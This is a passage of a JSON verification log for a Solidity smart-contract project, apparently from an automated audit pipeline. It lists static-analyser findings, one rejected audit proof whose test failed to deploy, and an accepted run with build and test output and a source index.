src/IMD6900LockedPool.sol:353: IMD6900LockedPool._settle(int128,int128) (src/IMD6900LockedPool.sol#353-364) ignores return value by poolManager.settle() (src/IMD6900LockedPool.sol#360)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:353: IMD6900LockedPool._settle(int128,int128) (src/IMD6900LockedPool.sol#353-364) ignores return value by poolManager.settle{value: uint256(uint128(- a0))}() (src/IMD6900LockedPool.sol#355)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:207: IMD6900LockedPool.collect() (src/IMD6900LockedPool.sol#207-211) ignores return value by poolManager.unlock(abi.encode(COLLECT,uint128(0))) (src/IMD6900LockedPool.sol#209)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:178: IMD6900LockedPool.lowerFee(uint24) (src/IMD6900LockedPool.sol#178-195) ignores return value by (sqrtPriceX96,None,None,None) = poolManager.getSlot0(old.toId()) (src/IMD6900LockedPool.sol#187)\n[medium/medium] unused-return at src/IMD6900Hook.sol:106: IMD6900Hook.perpFeeBps() (src/IMD6900Hook.sol#106-112) ignores return value by (None,None,protocolFee,None) = StateLibrary.getSlot0(poolManager,poolId) (src/IMD6900Hook.sol#108)\n[medium/medium] unused-return at src/perps/PerpSwapLib.sol:595: PerpSwapLib._settle(IPoolManager,Currency,uint256) (src/perps/PerpSwapLib.sol#595-610) ignores return value by poolManager.settle{value: amount}() (src/perps/PerpSwapLib.sol#598)\n[medium/medium] unused-return at src/perps/PerpSwapLib.sol:595: PerpSwapLib._settle(IPoolManager,Currency,uint256) (src/perps/PerpSwapLib.sol#595-610) ignores return value by poolManager.settle() (src/perps/PerpSwapLib.sol#608)\n[low/medium] events-maths at src/perps/PerpEngine.sol:1223: PerpEngine.setVaultLimits(uint256,uint256) (src/perps/PerpEngine.sol#1223-1227) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1174: PerpEngine.setRisk(uint8,uint256,uint256,uint256,uint256) (src/perps/PerpEngine.sol#1174-1188) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1201: PerpEngine.setVaultSplit(uint256,uint256) (src/perps/PerpEngine.sol#1201-1205) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1208: PerpEngine.setGuards(uint32,uint256,uint256) (src/perps/PerpEngine.sol#1208-1215) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:464: PerpEngine.openLong(uint8,uint256) (src/perps/PerpEngine.sol#464-492) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1191: PerpEngine.setShortCap(uint256) (src/perps/PerpEngine.sol#1191-1194) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1235: PerpEngine.skimInsurance(uint256,address) (src/perps/PerpEngine.sol#1235-1240) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1166: PerpEngine.setFees(uint256,uint256,uint256) (src/perps/PerpEngine.sol#1166-1171) should emit an event for: \n[low/medium] missing-zero-check at src/IMD6900RobinhoodLaunch.sol:195: IMD6900RobinhoodLaunch.constructor(address,IPoolManager,address,address).timelock_ (src/IMD6900RobinhoodLaunch.sol#195) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900RobinhoodLaunch.sol:470: IMD6900RobinhoodLaunch.setImdPool(uint24,int24,address).hooks (src/IMD6900RobinhoodLaunch.sol#470) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:140: IMD6900LockedPool.setHook(address).hook_ (src/IMD6900LockedPool.sol#140) lacks a zero-check on :\n[low/medium] missing-zero-check at src/perps/PerpVault.sol:198: PerpVault.constructor(address)._engine (src/perps/PerpVault.sol#198) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:123: IMD6900LockedPool.constructor(IPoolManager,uint24,address,address).timelock_ (src/IMD6900LockedPool.sol#123) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:123: IMD6900LockedPool.constructor(IPoolManager,uint24,address,address).launcher_ (src/IMD6900LockedPool.sol#123) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900RobinhoodLaunch.sol:195: IMD6900RobinhoodLaunch.constructor(address,IPoolManager,address,address).imdstr_ (src/IMD6900RobinhoodLaunch.sol#195) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900Hook.sol:79: IMD6900Hook.constructor(IPoolManager,address,address).pool_ (src/IMD6900Hook.sol#79) lacks a zero-check on :\n[low/medium] missing-zero-check at src/perps/PerpEngine.sol:268: PerpEngine.constructor(IPoolManager,address,address,uint24,int24,address,address)._feeSink (src/perps/PerpEngine.sol#268) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900Hook.sol:132: IMD6900Hook.initPerpEngine(address).engine (src/IMD6900Hook.sol#132) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:198: IMD6900LockedPool.setCoinFeeTo(address).to (src/IMD6900LockedPool.sol#198) lacks a zero-","passed":true},{"durationMs":1007,"exitCode":0,"name":"aderyn","output":"[high] abi-encode-packed-hash-collision at src/IMD6900RobinhoodLaunch.sol:254: `abi.encodePacked()` Hash Collision (3 places)\n[high] contract-locks-ether at src/IMD6900Hook.sol:41: Contract locks Ether without a withdraw function (3 places)\n[high] eth-send-unchecked-address at src/perps/PerpEngine.sol:1055: ETH transferred without address checks\n[high] reentrancy-state-change at src/IMD6900LockedPool.sol:162: Reentrancy: State change after external call (19 places)\n[high] storage-array-memory-edit at src/perps/PerpEngine.sol:775: Storage Array Edited with Memory\n[high] unsafe-casting at src/perps/PerpEngine.sol:959: Unsafe Casting of integers\n[low] centralization-risk at src/IMD6900Hook.sol:41: Centralization Risk (25 places)\n[low] costly-loop at src/IMD6900RobinhoodLaunch.sol:376: Costly operations inside loop (5 places)\n[low] large-numeric-literal at src/IMD6900.sol:11: Large Numeric Literal (24 places)\n[low] literal-instead-of-constant at src/IMD6900Hook.sol:107: Literal Instead of Constant (34 places)\n[low] local-variable-shadowing at src/perps/PerpEngine.sol:269: Local Variable Shadows State Variable\n[low] non-reentrant-not-first at src/IMD6900RobinhoodLaunch.sol:297: `nonReentrant` is Not the First Modifier (7 places)\n[low] push-zero-opcode at src/IMD6900.sol:2: PUSH0 Opcode (7 places)\n[low] require-revert-in-loop at src/IMD6900RobinhoodLaunch.sol:376: Loop Contains `require`/`revert` (4 places)\n[low] state-change-without-event at src/perps/PerpEngine.sol:360: State Change Without Event (13 places)\n[low] state-no-address-check at src/IMD6900Hook.sol:125: Address State Variable Set Without Checks (9 places)\n[low] unchecked-return at src/IMD6900LockedPool.sol:162: Unchecked Return (12 places)\n[low] uninitialized-local-variable at src/IMD6900RobinhoodLaunch.sol:609: Uninitialized Local Variable (6 places)\n[low] unsafe-erc20-operation at src/perps/PerpSwapLib.sol:454: Unsafe ERC20 Operation (3 places)\n[low] unspecific-solidity-pragma at src/IMD6900.sol:2: Unspecific Solidity Pragma (6 places)\n[low] unused-error at src/perps/PerpVault.sol:190: Unused Error (2 places)\n[low] unused-import at src/perps/PerpVault.sol:5: Unused Import\n[low] unused-public-function at src/IMD6900Hook.sol:106: Public Function Not Used Internally (3 places)","passed":true},{"durationMs":23482,"exitCode":1,"name":"proof f904829ff7fb","output":"Compiling 68 files with Solc 0.8.26\nSolc 0.8.26 finished in 11.70s\nCompiler run successful with warnings:\nWarning (6321): Unnamed return variable can remain unassigned. Add an explicit return with value to all non-reverting code paths or name the variable.\n  --> test/imd-proof-6370d50f/Proof_f904829ff7fb.t.sol:75:49:\n   |\n75 |     function _mineHook() internal view returns (bytes32) {\n   |                                                 ^^^^^^^\n\nWarning (6321): Unnamed return variable can remain unassigned. Add an explicit return with value to all non-reverting code paths or name the variable.\n  --> test/imd-proof-6370d50f/Proof_f904829ff7fb.t.sol:85:49:\n   |\n85 |     function _mineCoin() internal view returns (bytes32) {\n   |                                                 ^^^^^^^\n\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpEngine.sol:391:5:\n    |\n391 |     function _quoteAt(uint256 size, uint256 sp) internal view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpVault.sol:364:5:\n    |\n364 |     function _toYieldUnit(uint256 v) private view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\n\nRan 1 test for test/imd-proof-6370d50f/Proof_f904829ff7fb.t.sol:SplitDriftTest\n[FAIL: vm.deployCode: no matching artifact found] setUp() (gas: 0)\nSuite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 386.33µs (0.00ns CPU time)\n\nRan 1 test suite in 5.49ms (386.33µs CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)\n\nFailing tests:\nEncountered 1 failing test in test/imd-proof-6370d50f/Proof_f904829ff7fb.t.sol:SplitDriftTest\n[FAIL: vm.deployCode: no matching artifact found] setUp() (gas: 0)\n\nEncountered a total of 1 failing tests, 0 tests succeeded\n\nTip: Run `forge test --rerun` to retry only the 1 failed test\nTip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger\n","passed":false}],"detail":"the proof for \"split() re-splits a payee's refused share on every call, so the pot's 90% drifts into the $IMD burn bucket (merged: audit_economics + audit_flow)\" failed on the code it was reported against and still fails on this revision. Make it pass, or answer the finding \"disputed\" if the test itself is wrong.","evaluation":"checks","profile":"foundry","status":"rejected","submissionHash":"9a3752c760055bf385ceecab99c5dd85029724986ae34536e24ae4b1b0ef4b25","verifiedTreeHash":"dda02a359a30e7dc5850398cf5e76b8ea2326b78","verifierVersion":"0.1.0+7129bf9d"},{"checks":[{"durationMs":30836,"exitCode":0,"name":"build","output":"Compiling 93 files with Solc 0.8.26\nSolc 0.8.26 finished in 30.74s\nCompiler run successful with warnings:\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpEngine.sol:349:5:\n    |\n349 |     function _quoteAt(uint256 size, uint256 sp) internal view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpVault.sol:364:5:\n    |\n364 |     function _toYieldUnit(uint256 v) private view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":252,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFork.t.sol:RobinhoodForkTest\n[PASS] test_TheWholeLaunchOnRobinhood() (gas: 2548)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 264.66µs (24.33µs CPU time)\n\nRan 1 test for test/FactoryDeployment.t.sol:FactoryDeploymentTest\n[PASS] test_FactoryConstructorWithExactArgumentsAndNoDependencies() (gas: 24462550)\nLogs:\n  factory CREATE2 gas: 7911389\n  factory CREATE2 gas: 7890432\n  factory CREATE2 gas: 7890475\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.49ms (1.34ms CPU time)\n\nRan 2 tests for test/Twap.t.sol:TwapTest\n[PASS] testFuzz_TwapSearchMatchesLinearReference(uint8,uint8,uint16) (runs: 256, μ: 334662, ~: 246929)\nLogs:\n  Bound result 30\n  Bound result 444\n\n[PASS] test_TwapNeedsAtLeastOneSecondOfHistory() (gas: 54172)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 3.88ms (3.88ms CPU time)\n\nRan 13 tests for test/Perps.t.sol:PerpsTest\n[PASS] test_ALongRoundTripPaysNoPoolFee() (gas: 1067799)\nLogs:\n  a 0.1 ETH 5x long, opened and closed: back: 0.093099999999999968\n\n[PASS] test_AShortRoundTrip() (gas: 1854350)\nLogs:\n  a 0.1 ETH 3x short, opened and closed: back: 0.093099999999999998\n\n[PASS] test_AWhaleDumpLiquidatesInTheHooksSweepFirst() (gas: 1893178)\n[PASS] test_EthVaultQueueAndFeeSplitStayBacked() (gas: 1210470)\n[PASS] test_HealthyPositionBlocksFeeMoveAfterOneYear() (gas: 1472974)\n[PASS] test_NoFeeMoveWithAPositionOpen() (gas: 658313)\n[PASS] test_OnlyTheTimelockTunesThePerps() (gas: 120171)\n[PASS] test_PerpFeesReachThePot() (gas: 703185)\n[PASS] test_ReportedRangeEndDrainCannotExhaustLongBacking() (gas: 14353376)\nLogs:\n  real ETH remaining: 103843307849973044\n  virtual ETH depth: 19366225365553498597\n  long principal: 93100000000000000\n  open positions: 4\n\n[PASS] test_ThePerpsAreCreatedAndWired() (gas: 145026)\n[PASS] test_ThePerpsCodeIsTheAuditedCode() (gas: 61399605)\n[PASS] test_ThePerpsPassTheAdmissionScan() (gas: 14690558)\n[PASS] test_TokenVaultQueueAndYieldStayBacked() (gas: 2370657)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 158.40ms (163.36ms CPU time)\n\nRan 49 tests for test/IMD6900RobinhoodLaunch.t.sol:IMD6900RobinhoodLaunchTest\n[PASS] test_BurnCapCannotBeMulticalled() (gas: 4578146)\n[PASS] test_BurnsImdThroughItsExecutor() (gas: 2974403)\n[PASS] test_ClaimsCantChangeAfterTheLaunch() (gas: 1257419)\n[PASS] test_ClaimsNeedTheSnapshot() (gas: 1459342)\n[PASS] test_ClaimsOneForOne() (gas: 1577695)\n[PASS] test_ClaimsStayOpenNinetyDays() (gas: 208606)\n[PASS] test_DeploysOnAFreshChain() (gas: 6539537)\n[PASS] test_EachDeployerMinesItsOwnHook() (gas: 4477839)\n[PASS] test_EndingTheClaimsBringsMostOfTheBuyBack() (gas: 2334648)\nLogs:\n  back of the 2.81 ETH buy (C's claim kept by C): 2.733687356599550457\n\n[PASS] test_EthComesBackBeforeTheLaunchOnly() (gas: 1298711)\n[PASS] test_FitsOneTransaction() (gas: 12403897)\nLogs:\n  launch deploy gas (the same for every deployer: no mining): 7902586\n  createHook gas: 1266563\n\n[PASS] test_HarvestSplitsTheEthAndBurnsTheCoin() (gas: 1839822)\nLogs:\n  pot bridge: 0.511887600000000000\n\n[PASS] test_KeepsTheExcessForTheTimelock() (gas: 1428613)\n[PASS] test_LaunchesAtEthereumsPrice() (gas: 1306704)\nLogs:\n  opening buy, coins: 122347490.873046793208740802\n  market cap after the buy, ETH on 1B: 25.007184312087223619\n\n[PASS] test_LaunchesOnce() (gas: 1298298)\n[PASS] test_LowerFeeMovesTheLiquidity() (gas: 2199161)\n[PASS] test_NoClaimsAllOfItBack() (gas: 1968311)\nLogs:\n  back of the 2.81 ETH buy, nobody claimed: 2.809793719288388119\n\n[PASS] test_NoFeeMoveWhilePerpsAreOpen() (gas: 2078761)\n[PASS] test_OnlyTheEngineAndTheLaunchAreRefunded() (gas: 2092702)\n[PASS] test_OnlyTheOwnerLaunches() (gas: 178855)\n[PASS] test_OnlyTheTimelockLowersTheFeeAndOnlyDown() (gas: 1969126)\n[PASS] test_OnlyTheTimelockRecoversEth() (gas: 1296413)\n[PASS] test_OnlyTheTimelockRepointsImdsPool() (gas: 68011)\n[PASS] test_OnlyTheTimelockRepointsTheBurnExecutor() (gas: 91583)\n[PASS] test_OnlyTheTimelockRunsTheHook() (gas: 117797)\n[PASS] test_OnlyTheTimelockSetsTheSplit() (gas: 1795330)\n[PASS] test_PassesTheAdmissionScan() (gas: 15219021)\n[PASS] test_PerpFeesGoAllToThePot() (gas: 1449439)\n[PASS] test_RefusesAnAddressThatIsnt0x6900() (gas: 702339)\n[PASS] test_RefusesTheWrongAddress() (gas: 709786)\n[PASS] test_SellHeldRefundSurvivesPostTradeNestedSale() (gas: 2810099)\n[PASS] test_SellHeldRefundSurvivesPostTradeNestedSwap() (gas: 2591850)\n[PASS] test_SellHeldRefundSurvivesPreTradeNestedSale() (gas: 2810945)\n[PASS] test_SellHeldRefundSurvivesPreTradeNestedSwap() (gas: 2592224)\n[PASS] test_SendsTheExcessWhereTold() (gas: 1273327)\n[PASS] test_TheBuyMustCoverTheClaims() (gas: 1214922)\n[PASS] test_TheCoinFeeGoesWhereTheTimelockSays() (gas: 1800436)\n[PASS] test_TheCoinIsAt0x6900() (gas: 1231924)\nLogs:\n  the coin: 0x6900d11750039d7Ef0f8262b5a62152BB906B8E8\n\n[PASS] test_TheCoinIsPlain() (gas: 1295306)\n[PASS] test_TheEngineTradesFeeFree() (gas: 2782609)\n[PASS] test_TheFeeIsStatic() (gas: 1581495)\n[PASS] test_TheHookIsCreatedOnceAtAFittingSalt() (gas: 5721750)\n[PASS] test_TheHookReportsTheEnginesFee() (gas: 1343577)\n[PASS] test_TheHooksAddressAndPermissions() (gas: 21834)\n[PASS] test_TheLiquidityIsLocked() (gas: 2153898)\n[PASS] test_ThePerpsEngineTradesThroughTheHook() (gas: 2311326)\n[PASS] test_TheTimelockSellsTheExcessBack() (gas: 2202803)\nLogs:\n  the excess alone, sold back: ETH: 1.369450260279234059\n\n[PASS] test_TheUnclaimedRestAfterTheDeadline() (gas: 1647165)\n[PASS] test_TradesBothWays() (gas: 1553880)\nSuite result: ok. 49 passed; 0 failed; 0 skipped; finished in 158.46ms (130.98ms CPU time)\n\nRan 5 test suites in 159.44ms (322.49ms CPU time): 66 tests passed, 0 failed, 0 skipped (66 total tests)\n","passed":true},{"durationMs":72,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMD6900.approve(address,uint256)\",\"IMD6900.burn(uint256)\",\"IMD6900.permit(address,address,uint256,uint256,uint8,bytes32,bytes32)\",\"IMD6900.transfer(address,uint256)\",\"IMD6900.transferFrom(address,address,uint256)\",\"IMD6900Hook.afterAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900Hook.afterDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900Hook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"IMD6900Hook.afterRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900Hook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"IMD6900Hook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900Hook.beforeDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900Hook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"IMD6900Hook.beforeRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900Hook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"IMD6900Hook.cancelOwnershipHandover()\",\"IMD6900Hook.completeOwnershipHandover(address)\",\"IMD6900Hook.initPerpEngine(address)\",\"IMD6900Hook.renounceOwnership()\",\"IMD6900Hook.requestOwnershipHandover()\",\"IMD6900Hook.setPerpEngine(address)\",\"IMD6900Hook.setPerpRefunded(bool)\",\"IMD6900Hook.setSweepFailOpen(bool)\",\"IMD6900Hook.transferOwnership(address)\",\"IMD6900LockedPool.collect()\",\"IMD6900LockedPool.createPerps(bytes,bytes)\",\"IMD6900LockedPool.feeCheckpoint()\",\"IMD6900LockedPool.feeRefund(address)\",\"IMD6900LockedPool.lowerFee(uint24)\",\"IMD6900LockedPool.open(address,uint160,uint256)\",\"IMD6900LockedPool.receive()\",\"IMD6900LockedPool.setCoinFeeTo(address)\",\"IMD6900LockedPool.setHook(address)\",\"IMD6900LockedPool.unlockCallback(bytes)\",\"IMD6900RobinhoodLaunch.addFees()\",\"IMD6900RobinhoodLaunch.addPerpFees()\",\"IMD6900RobinhoodLaunch.burnImd(uint256)\",\"IMD6900RobinhoodLaunch.cancelOwnershipHandover()\",\"IMD6900RobinhoodLaunch.claim(uint256,uint256,bytes32[])\",\"IMD6900RobinhoodLaunch.completeOwnershipHandover(address)\",\"IMD6900RobinhoodLaunch.createHook(bytes32)\",\"IMD6900RobinhoodLaunch.endClaims()\",\"IMD6900RobinhoodLaunch.harvest()\",\"IMD6900RobinhoodLaunch.launch(bytes32,address,uint160,uint256,address)\",\"IMD6900RobinhoodLaunch.receive()\",\"IMD6900RobinhoodLaunch.recoverEth(address,uint256)\",\"IMD6900RobinhoodLaunch.releaseExcess(uint256,address)\",\"IMD6900RobinhoodLaunch.releaseImdstr(uint256,address)\",\"IMD6900RobinhoodLaunch.releaseUnclaimed(address)\",\"IMD6900RobinhoodLaunch.renounceOwnership()\",\"IMD6900RobinhoodLaunch.requestOwnershipHandover()\",\"IMD6900RobinhoodLaunch.sellHeld(uint256,uint256,address)\",\"IMD6900RobinhoodLaunch.setClaims(bytes32,uint256,uint256)\",\"IMD6900RobinhoodLaunch.setImdBurn(address)\",\"IMD6900RobinhoodLaunch.setImdPool(uint24,int24,address)\",\"IMD6900RobinhoodLaunch.setPayees(address[],uint16[])\",\"IMD6900RobinhoodLaunch.setPerpFeeTo(address)\",\"IMD6900RobinhoodLaunch.split()\",\"IMD6900RobinhoodLaunch.transferOwnership(address)\",\"IMD6900RobinhoodLaunch.unlockCallback(bytes)\",\"IMD6900RobinhoodLaunch.withdrawEth(address,uint256)\",\"PerpEngine.claimPayout()\",\"PerpEngine.close(uint256,uint256)\",\"PerpEngine.flushFees()\",\"PerpEngine.fundFromVault()\",\"PerpEngine.fundInsurance()\",\"PerpEngine.fundPlv()\",\"PerpEngine.fundPlvToken(uint256)\",\"PerpEngine.fundTokenFromVault(uint256)\",\"PerpEngine.liquidate(uint256)\",\"PerpEngine.openLong(uint8,uint256)\",\"PerpEngine.openShort(uint8,uint256)\",\"PerpEngine.poke()\",\"PerpEngine.receive()\",\"PerpEngine.selfSweep(address)\",\"PerpEngine.setFeeSink(address)\",\"PerpEngine.setFees(uint256,uint256,uint256)\",\"PerpEngine.setGuards(uint32,uint256,uint256)\",\"PerpEngine.setMinCollateral(uint256)\",\"PerpEngine.setRisk(uint8,uint256,uint256,uint256,uint256)\",\"PerpEngine.setShortCap(uint256)\",\"PerpEngine.setVault(address)\",\"PerpEngine.setVaultLimits(uint256,uint256)\",\"PerpEngine.setVaultSplit(uint256,uint256)\",\"PerpEngine.skimInsurance(uint256,address)\",\"PerpEngine.sweepLiquidations(address,int256,bool,uint160)\",\"PerpEngine.transferOwnership(address)\",\"PerpEngine.unlockCallback(bytes)\",\"PerpEngine.withdrawPlvTo(uint256,address)\",\"PerpEngine.withdrawPlvTokenTo(uint256,address)\",\"PerpEngine.withdrawTokYieldTo(uint256,address)\",\"PerpVault.claimPendingEth()\",\"PerpVault.claimPendingToken()\",\"PerpVault.claimTokYield()\",\"PerpVault.depositEth()\",\"PerpVault.depositToken(uint256)\",\"PerpVault.settlePendingEth(address)\",\"PerpVault.settlePendingToken(address)\",\"PerpVault.withdrawEth(uint256)\",\"PerpVault.withdrawToken(uint256)\"],\"files\":{\".gitignore\":15,\"ADAPTATION.md\":89,\"README.md\":149,\"foundry.toml\":30,\"jobs/swarm-launch.json\":27,\"launch.json\":15,\"script/claims.py\":88,\"script/launch.sh\":269,\"script/mine.sh\":12,\"script/params.py\":64,\"script/programmable_plan.py\":205,\"snapshots/rh-community-2026-10-09.json\":56,\"src/IMD6900.sol\":29,\"src/IMD6900Hook.sol\":255,\"src/IMD6900LockedPool.sol\":432,\"src/IMD6900RobinhoodLaunch.sol\":559,\"src/perps/PerpEngine.sol\":1160,\"src/perps/PerpSwapLib.sol\":729,\"src/perps/PerpVault.sol\":823,\"test/FactoryDeployment.t.sol\":64,\"test/HookSalt.sol\":47,\"test/IMD6900RobinhoodLaunch.t.sol\":1192,\"test/Perps.t.sol\":400,\"test/RobinhoodFork.t.sol\":255,\"test/Twap.t.sol\":56},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"c4997ef9ea41e764797fa06c18f7d44cbd9f8c56f63038fd944abc031532fcac","verifiedTreeHash":"16d202c8588c5ab2a340fcaac05b2bfae7408955","verifierVersion":"0.1.0+327e1e9f"}]}